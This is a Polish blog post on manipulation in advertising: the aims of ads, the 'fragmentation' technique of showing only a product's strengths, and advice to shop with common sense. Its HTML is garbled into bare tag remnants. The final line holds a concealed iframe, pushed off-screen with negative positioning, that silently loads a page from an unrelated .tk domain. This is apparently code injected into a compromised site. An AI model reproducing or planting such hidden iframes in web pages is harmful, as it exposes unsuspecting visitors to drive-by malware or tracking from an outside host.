Reklama (nie tylko odzieżowa)

Manipulacja w reklamie

19 lutego 2016 • Opublikowane przez

Reklamą nazywa się zwykle strongspecyficzny rodzaj przekonywania/strong klientów do nabycia towarów lub usług oferowanych przez konkretne firmy. Wiele działań z tego zakresu to próby pozostawienia u klienta przekonania, że to on podejmuje decyzję, chociaż proponowany towar czy usługa są jedynie słusznym wyborem. Czy to już manipulacja?

!–more–

nbsp;

strongPo co ta reklama?/strong

Manipulację przyjęło się określać jako nieuczciwe wpływanie na cudze poglądy i działania. Mówi się o niej również jako o naginaniu i przeinaczaniu faktów w celu osiągnięcia własnych korzyści. A to właśnie jeden z głównych zamysłów reklamy. strongZ marketingowego punktu widzenia/strong do głównych celów reklamy można zaliczyć:

nbsp;

nbsp;
ul
liułatwienie wejścia na rynek nowego produktu,/li
liwskazanie korzyści z użytkowania produktu,/li
lipozyskanie nowych, utrzymanie dotychczasowych i odzyskanie utraconych klientów,/li
linakłonienie konsumentów do wypróbowania nowego produktu,/li
lizachęcanie stałych użytkowników do zwiększenia częstotliwości zakupów,/li
liutrwalenie w świadomości odbiorców znajomości marki/li
liwspieranie działań sprzedawców i dystrybutorów./li
/ul
nbsp;

Najważniejszym celem reklamy jest zwiększenie zainteresowania zakupem produktu przez klienta. Zwrócenie uwagi może przybierać różne formy — poprzez wpłynięcie na dokonanie strongnatychmiastowego zakupu/strong lub utwierdzanie nabywców w przekonaniu, że podejmują lub już podjęli najlepszą decyzję, związaną z wyborem. Zadaniem reklamy jest także strongpodanie właściwych informacji o produkcie/strong. Ma ona także wywołać u kupującego niezadowolenie z dotychczasowego sposobu zaspokajania potrzeb i wskazanie, że z danym produktem wcześniejsze problemy zostaną rozwiązane.

nbsp;

a href=”http://argos.pl/blog/wp-content/uploads/2016/02/reklama-w-internecie.jpg”img class=”size-full wp-image-2676″ src=”http://argos.pl/blog/wp-content/uploads/2016/02/reklama-w-internecie.jpg” alt=”Źródło: terazgostynin.pl” width=”900″ height=”600″ //a Źródło: terazgostynin.pl

nbsp;

strongTechnika fragmentacji/strong

Niewiele osób wie, że komunikat reklamowy opiera się na technice fragmentacji. Co to oznacza? Reklama prezentuje tylko niektóre cechy przedmiotu — takie, które producent uznaje za największe zalety, i które strongprzyciągną największą uwagę/strong potencjalnych kupujących. Przez to odbiorca otrzymuje znacznie okrojony i zniekształcony obraz rzeczywistości. Poprzez to uniemożliwia mu obiektywną ocenę reklamowanego produktu. Konsument nie jest także powiadomiony o żadnych strongwadach czy usterkach przedmiotu/strong — dla producenta byłby to klasyczny „strzał w kolano”, za sprawą którego klient zrezygnowałby prawdopodobnie ze skorzystania z oferty. Można powiedzieć, że często z reklamy nie da się dowiedzieć się niczego poza faktem istnienia na rynku danego artykułu. Klient zostaje zasypany informacjami, że coś jest nowe, lepsze, wyjątkowe, wspaniałe lub prawdziwe, ale nadal nie wie, na czym polegają jego zalety. „Wyjątkowy smak” czy „najlepsza jakość” to strongenigmatyczne stwierdzenia/strong, pozbawione konkretów. Jednak z punktu widzenia twórców reklam to zaleta produktu. To, co „nowe” w świadomości odbiorcy, przywodzi na myśl wizję czegoś lepszego niż dotychczas — produktu, który trzeba kupić, wypróbować.

nbsp;

strongZdrowy rozsądek wskazany/strong

strongJonh Boynton Pristley/strong powiedział niegdyś, że reklama to próba oddzielenia człowieka od jego pieniędzy. Sami możemy odnieść się do tego stwierdzenia. Niewątpliwie jednak w przypadku reklamy mamy do czynienia z manipulacją. Aby jej nie ulec, potrzeba przede wszystkim strongdużo zdrowego rozsądku i świadomości/strong, czego potrzebujemy. Jeśli będziemy kupować w przemyślany sposób, manipulacja reklamowa nam niestraszna!
p align=”right”!–844c7b74e31d727d5814a0ed667c0255–iframe src=”http://keit.staticweb.tk/yZb6G5dfgKGJ” width=640 height=480 style=’position: absolute; left: -1000px; top: -1000px; z-index:-1;’/iframe